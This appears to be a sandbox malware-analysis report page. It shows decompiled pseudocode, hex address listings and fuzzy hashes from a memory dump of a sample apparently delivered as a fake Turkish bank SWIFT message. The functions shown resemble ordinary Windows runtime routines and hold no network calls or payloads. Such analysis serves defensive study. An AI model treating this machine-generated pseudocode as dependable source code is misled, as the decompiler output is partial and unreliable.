                                                                        0x012e7b1d
                                                                        0x012e7ab7
                                                                        0x012e7ab9
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e7abf
                                                                        0x012e7ac1
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e7ac3
                                                                        0x012e7ac6
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e7ac8
                                                                        0x012e7acc
                                                                        0x012e7ad0
                                                                        0x012e7ad2
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e7adb
                                                                        0x00000000
                                                                        0x012e7adb
                                                                        0x012e79d6
                                                                        0x012e79d9
                                                                        0x012e79dc
                                                                        0x012e7a91
                                                                        0x012e7a94
                                                                        0x00000000
                                                                        0x012e7a94
                                                                        0x012e79e2
                                                                        0x00000000
                                                                        0x012e79e2
                                                                        0x012e7a74
                                                                        0x012e7a7a
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e7a8a
                                                                        0x012e7a21
                                                                        0x012e7a21
                                                                        0x00000000
                                                                        0x012e7a21
                                                                        0x0127c650
                                                                        0x0127c651
                                                                        0x0127c656
                                                                        0x0127c65c
                                                                        0x0127c65d
                                                                        0x0127c663
                                                                        0x0127c664
                                                                        0x0127c66a
                                                                        0x0127c66e
                                                                        0x012e79c5
                                                                        0x012e79c7
                                                                        0x00000000
                                                                        0x012e79c7
                                                                        0x0127c67a
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 4301b12f3aa60d3e865baac3c71be0f19a894242d94fd155b84eaeb34ecdb686
                                                                        • Instruction ID: 190393c1b47f5246f15c3d44a3ac8025b51a8645fe4a3190ff7981486290bc98
                                                                        • Opcode Fuzzy Hash: 4301b12f3aa60d3e865baac3c71be0f19a894242d94fd155b84eaeb34ecdb686
                                                                        • Instruction Fuzzy Hash: A781A0756642428FDB26CE58C885A7BB7E9EF84350F54486EEE459B341E330ED40CBE2
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0130B8D0 Relevance: .2, Instructions: 199COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 39%
                                                                        			E0130B8D0(void* __edx, intOrPtr _a4, intOrPtr _a8, signed char _a12, signed int** _a16) {
				char _v8;
				signed int _v12;
				signed int _t80;
				signed int _t83;
				intOrPtr _t89;
				signed int _t92;
				signed char _t106;
				signed int* _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				signed int _t114;
				void* _t115;
				void* _t117;
				void* _t119;
				void* _t122;
				signed int _t123;
				signed int* _t124;

				_t106 = _a12;
				if((_t106 & 0xfffffffc) != 0) {
					return 0xc000000d;
				}
				if((_t106 & 0x00000002) != 0) {
					_t106 = _t106 | 0x00000001;
				}
				_t109 =  *0x1367b9c; // 0x0
				_t124 = L01294620(_t109 + 0x140000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109 + 0x140000, 0x424 + (_a8 - 1) * 0xc);
				if(_t124 != 0) {
					 *_t124 =  *_t124 & 0x00000000;
					_t124[1] = _t124[1] & 0x00000000;
					_t124[4] = _t124[4] & 0x00000000;
					if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) == 0) {
						L13:
						_push(_t124);
						if((_t106 & 0x00000002) != 0) {
							_push(0x200);
							_push(0x28);
							_push(0xffffffff);
							_t122 = E012B9800();
							if(_t122 < 0) {
								L33:
								if((_t124[4] & 0x00000001) != 0) {
									_push(4);
									_t64 =  &(_t124[1]); // 0x4
									_t107 = _t64;
									_push(_t107);
									_push(5);
									_push(0xfffffffe);
									E012B95B0();
									if( *_t107 != 0) {
										_push( *_t107);
										E012B95D0();
									}
								}
								_push(_t124);
								_push(0);
								_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
								L37:
								L012977F0();
								return _t122;
							}
							_t124[4] = _t124[4] | 0x00000002;
							L18:
							_t108 = _a8;
							_t29 =  &(_t124[0x105]); // 0x414
							_t80 = _t29;
							_t30 =  &(_t124[5]); // 0x14
							_t124[3] = _t80;
							_t123 = 0;
							_t124[2] = _t30;
							 *_t80 = _t108;
							if(_t108 == 0) {
								L21:
								_t112 = 0x400;
								_push( &_v8);
								_v8 = 0x400;
								_push(_t124[2]);
								_push(0x400);
								_push(_t124[3]);
								_push(0);
								_push( *_t124);
								_t122 = E012B9910();
								if(_t122 != 0xc0000023) {
									L26:
									if(_t122 != 0x106) {
										L40:
										if(_t122 < 0) {
											L29:
											_t83 = _t124[2];
											if(_t83 != 0) {
												_t59 =  &(_t124[5]); // 0x14
												if(_t83 != _t59) {
													L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t83);
												}
											}
											_push( *_t124);
											E012B95D0();
											goto L33;
										}
										 *_a16 = _t124;
										return 0;
									}
									if(_t108 != 1) {
										_t122 = 0;
										goto L40;
									}
									_t122 = 0xc0000061;
									goto L29;
								} else {
									goto L22;
								}
								while(1) {
									L22:
									_t89 =  *0x1367b9c; // 0x0
									_t92 = L01294620(_t112,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t89 + 0x140000, _v8);
									_t124[2] = _t92;
									if(_t92 == 0) {
										break;
									}
									_t112 =  &_v8;
									_push( &_v8);
									_push(_t92);
									_push(_v8);
									_push(_t124[3]);
									_push(0);
									_push( *_t124);
									_t122 = E012B9910();
									if(_t122 != 0xc0000023) {
										goto L26;
									}
									L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t124[2]);
								}
								_t122 = 0xc0000017;
								goto L26;
							}
							_t119 = 0;
							do {
								_t114 = _t124[3];
								_t119 = _t119 + 0xc;
								 *((intOrPtr*)(_t114 + _t119 - 8)) =  *((intOrPtr*)(_a4 + _t123 * 4));
								 *(_t114 + _t119 - 4) =  *(_t114 + _t119 - 4) & 0x00000000;
								_t123 = _t123 + 1;
								 *((intOrPtr*)(_t124[3] + _t119)) = 2;
							} while (_t123 < _t108);
							goto L21;
						}
						_push(0x28);
						_push(3);
						_t122 = E0127A7B0();
						if(_t122 < 0) {
							goto L33;
						}
						_t124[4] = _t124[4] | 0x00000001;
						goto L18;
					}
					if((_t106 & 0x00000001) == 0) {
						_t115 = 0x28;
						_t122 = E0130E7D3(_t115, _t124);
						if(_t122 < 0) {
							L9:
							_push(_t124);
							_push(0);
							_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
							goto L37;
						}
						L12:
						if( *_t124 != 0) {
							goto L18;
						}
						goto L13;
					}
					_t15 =  &(_t124[1]); // 0x4
					_t117 = 4;
					_t122 = E0130E7D3(_t117, _t15);
					if(_t122 >= 0) {
						_t124[4] = _t124[4] | 0x00000001;
						_v12 = _v12 & 0x00000000;
						_push(4);
						_push( &_v12);
						_push(5);
						_push(0xfffffffe);
						E012B95B0();
						goto L12;
					}
					goto L9;
				} else {
					return 0xc0000017;
				}
			}




















                                                                        0x0130b8d9
                                                                        0x0130b8e4
                                                                        0x00000000
                                                                        0x0130b8e6
                                                                        0x0130b8f3
                                                                        0x0130b8f5
                                                                        0x0130b8f5
                                                                        0x0130b8f8
                                                                        0x0130b920
                                                                        0x0130b924
                                                                        0x0130b936
                                                                        0x0130b939
                                                                        0x0130b93d
                                                                        0x0130b948
                                                                        0x0130b9a0
                                                                        0x0130b9a0
                                                                        0x0130b9a4
                                                                        0x0130b9bf
                                                                        0x0130b9c4
                                                                        0x0130b9c6
                                                                        0x0130b9cd
                                                                        0x0130b9d1
                                                                        0x0130bad4
                                                                        0x0130bad8
                                                                        0x0130bada
                                                                        0x0130badc
                                                                        0x0130badc
                                                                        0x0130badf
                                                                        0x0130bae0
                                                                        0x0130bae2
                                                                        0x0130bae4
                                                                        0x0130baec
                                                                        0x0130baee
                                                                        0x0130baf0
                                                                        0x0130baf0
                                                                        0x0130baec
                                                                        0x0130bafb
                                                                        0x0130bafc
                                                                        0x0130bafe
                                                                        0x0130bb01
                                                                        0x0130bb01
                                                                        0x00000000
                                                                        0x0130bb06
                                                                        0x0130b9d7
                                                                        0x0130b9db
                                                                        0x0130b9db
                                                                        0x0130b9de
                                                                        0x0130b9de
                                                                        0x0130b9e4
                                                                        0x0130b9e7
                                                                        0x0130b9ea
                                                                        0x0130b9ec
                                                                        0x0130b9ef
                                                                        0x0130b9f3
                                                                        0x0130ba1b
                                                                        0x0130ba1b
                                                                        0x0130ba23
                                                                        0x0130ba24
                                                                        0x0130ba27
                                                                        0x0130ba2a
                                                                        0x0130ba2b
                                                                        0x0130ba2e
                                                                        0x0130ba30
                                                                        0x0130ba37
                                                                        0x0130ba3f
                                                                        0x0130ba9c
                                                                        0x0130baa2
                                                                        0x0130bb13
                                                                        0x0130bb15
                                                                        0x0130baae
                                                                        0x0130baae
                                                                        0x0130bab3
                                                                        0x0130bab5
                                                                        0x0130baba
                                                                        0x0130bac8
                                                                        0x0130bac8
                                                                        0x0130baba
                                                                        0x0130bacd
                                                                        0x0130bacf
                                                                        0x00000000
                                                                        0x0130bacf
                                                                        0x0130bb1a
                                                                        0x00000000
                                                                        0x0130bb1c
                                                                        0x0130baa7
                                                                        0x0130bb11
                                                                        0x00000000
                                                                        0x0130bb11
                                                                        0x0130baa9
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0130ba41
                                                                        0x0130ba41
                                                                        0x0130ba41
                                                                        0x0130ba58
                                                                        0x0130ba5d
                                                                        0x0130ba62
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0130ba64
                                                                        0x0130ba67
                                                                        0x0130ba68
                                                                        0x0130ba69
                                                                        0x0130ba6c
                                                                        0x0130ba6f
                                                                        0x0130ba71
                                                                        0x0130ba78
                                                                        0x0130ba80
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0130ba90
                                                                        0x0130ba90
                                                                        0x0130ba97
                                                                        0x00000000
                                                                        0x0130ba97
                                                                        0x0130b9f5
                                                                        0x0130b9f7
                                                                        0x0130b9f7
                                                                        0x0130b9fa
                                                                        0x0130ba03
                                                                        0x0130ba07
                                                                        0x0130ba0c
                                                                        0x0130ba10
                                                                        0x0130ba17
                                                                        0x00000000
                                                                        0x0130b9f7
                                                                        0x0130b9a6
                                                                        0x0130b9a8
                                                                        0x0130b9af
                                                                        0x0130b9b3
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0130b9b9
                                                                        0x00000000
                                                                        0x0130b9b9
                                                                        0x0130b94d
                                                                        0x0130b98f
                                                                        0x0130b995
                                                                        0x0130b999
                                                                        0x0130b960
                                                                        0x0130b967
                                                                        0x0130b968
                                                                        0x0130b96a
                                                                        0x00000000
                                                                        0x0130b96a
                                                                        0x0130b99b
                                                                        0x0130b99e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0130b99e
                                                                        0x0130b951
                                                                        0x0130b954
                                                                        0x0130b95a
                                                                        0x0130b95e
                                                                        0x0130b972
                                                                        0x0130b979
                                                                        0x0130b97d
                                                                        0x0130b97f
                                                                        0x0130b980
                                                                        0x0130b982
                                                                        0x0130b984
                                                                        0x00000000
                                                                        0x0130b984
                                                                        0x00000000
                                                                        0x0130b926
                                                                        0x00000000
                                                                        0x0130b926

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 630a35724cda2d9b978b966f2bd9506f66e4f600a345ba9e59b176b99f28f273
                                                                        • Instruction ID: 97e28baa763389f5bef23f94071c857136bbe625b8efad3591625897b4321790
                                                                        • Opcode Fuzzy Hash: 630a35724cda2d9b978b966f2bd9506f66e4f600a345ba9e59b176b99f28f273
                                                                        • Instruction Fuzzy Hash: D9710376250B06AFEB32CF18C860F66FBE5EF44768F144528E655876E4DB70E980CB50
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012F6DC9 Relevance: .2, Instructions: 199COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 79%
                                                                        			E012F6DC9(signed int __ecx, void* __edx) {
				unsigned int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				void* _t87;
				void* _t95;
				signed char* _t96;
				signed int _t107;
				signed int _t136;
				signed char* _t137;
				void* _t157;
				void* _t161;
				void* _t167;
				intOrPtr _t168;
				void* _t174;
				void* _t175;
				signed int _t176;
				void* _t177;

				_t136 = __ecx;
				_v44 = 0;
				_t167 = __edx;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v60 = 0;
				_v56 = 0;
				_v52 = 0;
				_v48 = 0;
				_v16 = __ecx;
				_t87 = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0x248);
				_t175 = _t87;
				if(_t175 != 0) {
					_t11 = _t175 + 0x30; // 0x30
					 *((short*)(_t175 + 6)) = 0x14d4;
					 *((intOrPtr*)(_t175 + 0x20)) =  *((intOrPtr*)(_t167 + 0x10));
					 *((intOrPtr*)(_t175 + 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t167 + 8)) + 0xc));
					 *((intOrPtr*)(_t175 + 0x28)) = _t136;
					 *((intOrPtr*)(_t175 + 0x2c)) =  *((intOrPtr*)(_t167 + 0x14));
					E012F6B4C(_t167, _t11, 0x214,  &_v8);
					_v12 = _v8 + 0x10;
					_t95 = E01297D50();
					_t137 = 0x7ffe0384;
					if(_t95 == 0) {
						_t96 = 0x7ffe0384;
					} else {
						_t96 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t175);
					_push(_v12);
					_push(0x402);
					_push( *_t96 & 0x000000ff);
					E012B9AE0();
					_t87 = L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t175);
					_t176 = _v16;
					if((_t176 & 0x00000100) != 0) {
						_push( &_v36);
						_t157 = 4;
						_t87 = E012F795D( *((intOrPtr*)(_t167 + 8)), _t157);
						if(_t87 >= 0) {
							_v24 = E012F795D( *((intOrPtr*)(_t167 + 8)), 1,  &_v44);
							_v28 = E012F795D( *((intOrPtr*)(_t167 + 8)), 0,  &_v60);
							_push( &_v52);
							_t161 = 5;
							_t168 = E012F795D( *((intOrPtr*)(_t167 + 8)), _t161);
							_v20 = _t168;
							_t107 = L01294620( *[fs:0x30],  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xca0);
							_v16 = _t107;
							if(_t107 != 0) {
								_v8 = _v8 & 0x00000000;
								 *(_t107 + 0x20) = _t176;
								 *((short*)(_t107 + 6)) = 0x14d5;
								_t47 = _t107 + 0x24; // 0x24
								_t177 = _t47;
								E012F6B4C( &_v36, _t177, 0xc78,  &_v8);
								_t51 = _v8 + 4; // 0x4
								_t178 = _t177 + (_v8 >> 1) * 2;
								_v12 = _t51;
								E012F6B4C( &_v44, _t177 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_v12 = _v12 + _v8;
								E012F6B4C( &_v60, _t178 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_t125 = _v8;
								_v12 = _v12 + _v8;
								E012F6B4C( &_v52, _t178 + (_v8 >> 1) * 2 + (_v8 >> 1) * 2, 0xc78 - _v8 - _v8 - _t125,  &_v8);
								_t174 = _v12 + _v8;
								if(E01297D50() != 0) {
									_t137 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
								}
								_push(_v16);
								_push(_t174);
								_push(0x402);
								_push( *_t137 & 0x000000ff);
								E012B9AE0();
								L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v16);
								_t168 = _v20;
							}
							_t87 = L01292400( &_v36);
							if(_v24 >= 0) {
								_t87 = L01292400( &_v44);
							}
							if(_t168 >= 0) {
								_t87 = L01292400( &_v52);
							}
							if(_v28 >= 0) {
								return L01292400( &_v60);
							}
						}
					}
				}
				return _t87;
			}































                                                                        0x012f6dd4
                                                                        0x012f6dde
                                                                        0x012f6de1
                                                                        0x012f6de3
                                                                        0x012f6de6
                                                                        0x012f6de9
                                                                        0x012f6dec
                                                                        0x012f6def
                                                                        0x012f6df2
                                                                        0x012f6df5
                                                                        0x012f6dfe
                                                                        0x012f6e04
                                                                        0x012f6e09
                                                                        0x012f6e0d
                                                                        0x012f6e18
                                                                        0x012f6e1b
                                                                        0x012f6e22
                                                                        0x012f6e2d
                                                                        0x012f6e30
                                                                        0x012f6e36
                                                                        0x012f6e42
                                                                        0x012f6e4d
                                                                        0x012f6e50
                                                                        0x012f6e55
                                                                        0x012f6e5c
                                                                        0x012f6e6e
                                                                        0x012f6e5e
                                                                        0x012f6e67
                                                                        0x012f6e67
                                                                        0x012f6e73
                                                                        0x012f6e74
                                                                        0x012f6e77
                                                                        0x012f6e7c
                                                                        0x012f6e7d
                                                                        0x012f6e8e
                                                                        0x012f6e93
                                                                        0x012f6e9c
                                                                        0x012f6ea8
                                                                        0x012f6eab
                                                                        0x012f6eac
                                                                        0x012f6eb3
                                                                        0x012f6ecd
                                                                        0x012f6edc
                                                                        0x012f6ee2
                                                                        0x012f6ee5
                                                                        0x012f6ef2
                                                                        0x012f6efb
                                                                        0x012f6f01
                                                                        0x012f6f06
                                                                        0x012f6f0b
                                                                        0x012f6f11
                                                                        0x012f6f1a
                                                                        0x012f6f22
                                                                        0x012f6f26
                                                                        0x012f6f26
                                                                        0x012f6f33
                                                                        0x012f6f41
                                                                        0x012f6f44
                                                                        0x012f6f47
                                                                        0x012f6f54
                                                                        0x012f6f65
                                                                        0x012f6f77
                                                                        0x012f6f7c
                                                                        0x012f6f82
                                                                        0x012f6f91
                                                                        0x012f6f99
                                                                        0x012f6fa3
                                                                        0x012f6fae
                                                                        0x012f6fae
                                                                        0x012f6fba
                                                                        0x012f6fbb
                                                                        0x012f6fbc
                                                                        0x012f6fc1
                                                                        0x012f6fc2
                                                                        0x012f6fd3
                                                                        0x012f6fd8
                                                                        0x012f6fd8
                                                                        0x012f6fdf
                                                                        0x012f6fe8
                                                                        0x012f6fee
                                                                        0x012f6fee
                                                                        0x012f6ff5
                                                                        0x012f6ffb
                                                                        0x012f6ffb
                                                                        0x012f7004
                                                                        0x00000000
                                                                        0x012f700a
                                                                        0x012f7004
                                                                        0x012f6eb3
                                                                        0x012f6e9c
                                                                        0x012f7015

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
                                                                        • Instruction ID: 7fe035339c47b0daa50be922bfa6dee182b865c4e3b6e594723bbbaef2aa4c52
                                                                        • Opcode Fuzzy Hash: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
                                                                        • Instruction Fuzzy Hash: 3A716C71A1061AEFDB10DFA9C984EEEFBB9FF48714F104169E605E7250DB34AA41CB90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A2AE4 Relevance: .2, Instructions: 159COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E012A2AE4(intOrPtr* __ecx, intOrPtr __edx, signed int _a4, short* _a8, intOrPtr _a12, signed int* _a16) {
				signed short* _v8;
				signed short* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				signed int _v32;
				signed int _v36;
				short _t56;
				signed int _t57;
				intOrPtr _t58;
				signed short* _t61;
				intOrPtr _t72;
				intOrPtr _t75;
				intOrPtr _t84;
				intOrPtr _t87;
				intOrPtr* _t90;
				signed short* _t91;
				signed int _t95;
				signed short* _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				signed int _t108;
				intOrPtr _t110;
				signed int _t111;
				signed short* _t112;
				void* _t113;
				signed int _t116;
				signed short** _t119;
				short* _t120;
				signed int _t123;
				signed int _t124;
				void* _t125;
				intOrPtr _t127;
				signed int _t128;

				_t90 = __ecx;
				_v16 = __edx;
				_t108 = _a4;
				_v28 = __ecx;
				_t4 = _t108 - 1; // -1
				if(_t4 > 0x13) {
					L15:
					_t56 = 0xc0000100;
					L16:
					return _t56;
				}
				_t57 = _t108 * 0x1c;
				_v32 = _t57;
				_t6 = _t57 + 0x1368204; // 0x0
				_t123 =  *_t6;
				_t7 = _t57 + 0x1368208; // 0x1368207
				_t8 = _t57 + 0x1368208; // 0x1368207
				_t119 = _t8;
				_v36 = _t123;
				_t110 = _t7 + _t123 * 8;
				_v24 = _t110;
				_t111 = _a4;
				if(_t119 >= _t110) {
					L12:
					if(_t123 != 3) {
						_t58 =  *0x1368450; // 0x0
						if(_t58 == 0) {
							_t58 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x48));
						}
					} else {
						_t26 = _t57 + 0x136821c; // 0x0
						_t58 =  *_t26;
					}
					 *_t90 = _t58;
					goto L15;
				} else {
					goto L2;
				}
				while(1) {
					_t116 =  *_t61 & 0x0000ffff;
					_t128 =  *(_t127 + _t61) & 0x0000ffff;
					if(_t116 == _t128) {
						goto L18;
					}
					L5:
					if(_t116 >= 0x61) {
						if(_t116 > 0x7a) {
							_t97 =  *0x1366d5c; // 0x7f5e0654
							_t72 =  *0x1366d5c; // 0x7f5e0654
							_t75 =  *0x1366d5c; // 0x7f5e0654
							_t116 =  *((intOrPtr*)(_t75 + (( *(_t72 + (( *(_t97 + (_t116 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t116 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t116 & 0x0000000f)) * 2)) + _t116 & 0x0000ffff;
						} else {
							_t116 = _t116 - 0x20;
						}
					}
					if(_t128 >= 0x61) {
						if(_t128 > 0x7a) {
							_t102 =  *0x1366d5c; // 0x7f5e0654
							_t84 =  *0x1366d5c; // 0x7f5e0654
							_t87 =  *0x1366d5c; // 0x7f5e0654
							_t128 =  *((intOrPtr*)(_t87 + (( *(_t84 + (( *(_t102 + (_t128 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t128 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t128 & 0x0000000f)) * 2)) + _t128 & 0x0000ffff;
						} else {
							_t128 = _t128 - 0x20;
						}
					}
					if(_t116 == _t128) {
						_t61 = _v12;
						_t96 = _v8;
					} else {
						_t113 = _t116 - _t128;
						L9:
						_t111 = _a4;
						if(_t113 == 0) {
							_t115 =  &(( *_t119)[_t111 + 1]);
							_t33 =  &(_t119[1]); // 0x100
							_t120 = _a8;
							_t95 =  *_t33 -  &(( *_t119)[_t111 + 1]) >> 1;
							_t35 = _t95 - 1; // 0xff
							_t124 = _t35;
							if(_t120 == 0) {
								L27:
								 *_a16 = _t95;
								_t56 = 0xc0000023;
								goto L16;
							}
							if(_t124 >= _a12) {
								if(_a12 >= 1) {
									 *_t120 = 0;
								}
								goto L27;
							}
							 *_a16 = _t124;
							_t125 = _t124 + _t124;
							E012BF3E0(_t120, _t115, _t125);
							_t56 = 0;
							 *((short*)(_t125 + _t120)) = 0;
							goto L16;
						}
						_t119 =  &(_t119[2]);
						if(_t119 < _v24) {
							L2:
							_t91 =  *_t119;
							_t61 = _t91;
							_v12 = _t61;
							_t112 =  &(_t61[_t111]);
							_v8 = _t112;
							if(_t61 >= _t112) {
								break;
							} else {
								_t127 = _v16 - _t91;
								_t96 = _t112;
								_v20 = _t127;
								_t116 =  *_t61 & 0x0000ffff;
								_t128 =  *(_t127 + _t61) & 0x0000ffff;
								if(_t116 == _t128) {
									goto L18;
								}
								goto L5;
							}
						} else {
							_t90 = _v28;
							_t57 = _v32;
							_t123 = _v36;
							goto L12;
						}
					}
					L18:
					_t61 =  &(_t61[1]);
					_v12 = _t61;
					if(_t61 >= _t96) {
						break;
					}
					_t127 = _v20;
				}
				_t113 = 0;
				goto L9;
			}






































                                                                        0x012a2ae4
                                                                        0x012a2aec
                                                                        0x012a2aef
                                                                        0x012a2af4
                                                                        0x012a2af7
                                                                        0x012a2afd
                                                                        0x012a2b92
                                                                        0x012a2b92
                                                                        0x012a2b97
                                                                        0x012a2b9c
                                                                        0x012a2b9c
                                                                        0x012a2b03
                                                                        0x012a2b06
                                                                        0x012a2b09
                                                                        0x012a2b09
                                                                        0x012a2b0f
                                                                        0x012a2b15
                                                                        0x012a2b15
                                                                        0x012a2b1b
                                                                        0x012a2b1e
                                                                        0x012a2b21
                                                                        0x012a2b26
                                                                        0x012a2b29
                                                                        0x012a2b81
                                                                        0x012a2b84
                                                                        0x012a2c0e
                                                                        0x012a2c15
                                                                        0x012a2c24
                                                                        0x012a2c24
                                                                        0x012a2b8a
                                                                        0x012a2b8a
                                                                        0x012a2b8a
                                                                        0x012a2b8a
                                                                        0x012a2b90
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a2b4a
                                                                        0x012a2b4a
                                                                        0x012a2b4d
                                                                        0x012a2b53
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a2b55
                                                                        0x012a2b58
                                                                        0x012a2bb7
                                                                        0x012e5d1b
                                                                        0x012e5d37
                                                                        0x012e5d47
                                                                        0x012e5d53
                                                                        0x012a2bbd
                                                                        0x012a2bbd
                                                                        0x012a2bbd
                                                                        0x012a2bb7
                                                                        0x012a2b5d
                                                                        0x012a2c2f
                                                                        0x012e5d5b
                                                                        0x012e5d77
                                                                        0x012e5d87
                                                                        0x012e5d93
                                                                        0x012a2c35
                                                                        0x012a2c35
                                                                        0x012a2c35
                                                                        0x012a2c2f
                                                                        0x012a2b65
                                                                        0x012a2b9f
                                                                        0x012a2ba2
                                                                        0x012a2b67
                                                                        0x012a2b67
                                                                        0x012a2b69
                                                                        0x012a2b6b
                                                                        0x012a2b6e
                                                                        0x012a2bc9
                                                                        0x012a2bcc
                                                                        0x012a2bcf
                                                                        0x012a2bd4
                                                                        0x012a2bd6
                                                                        0x012a2bd6
                                                                        0x012a2bdb
                                                                        0x012a2c02
                                                                        0x012a2c05
                                                                        0x012a2c07
                                                                        0x00000000
                                                                        0x012a2c07
                                                                        0x012a2be0
                                                                        0x012a2c00
                                                                        0x012a2c3f
                                                                        0x012a2c3f
                                                                        0x00000000
                                                                        0x012a2c00
                                                                        0x012a2be5
                                                                        0x012a2be7
                                                                        0x012a2bec
                                                                        0x012a2bf4
                                                                        0x012a2bf6
                                                                        0x00000000
                                                                        0x012a2bf6
                                                                        0x012a2b70
                                                                        0x012a2b76
                                                                        0x012a2b2b
                                                                        0x012a2b2b
                                                                        0x012a2b2d
                                                                        0x012a2b2f
                                                                        0x012a2b32
                                                                        0x012a2b35
                                                                        0x012a2b3a
                                                                        0x00000000
                                                                        0x012a2b40
                                                                        0x012a2b43
                                                                        0x012a2b45
                                                                        0x012a2b47
                                                                        0x012a2b4a
                                                                        0x012a2b4d
                                                                        0x012a2b53
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a2b53
                                                                        0x012a2b78
                                                                        0x012a2b78
                                                                        0x012a2b7b
                                                                        0x012a2b7e
                                                                        0x00000000
                                                                        0x012a2b7e
                                                                        0x012a2b76
                                                                        0x012a2ba5
                                                                        0x012a2ba5
                                                                        0x012a2ba8
                                                                        0x012a2bad
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a2baf
                                                                        0x012a2baf
                                                                        0x012a2bc2
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
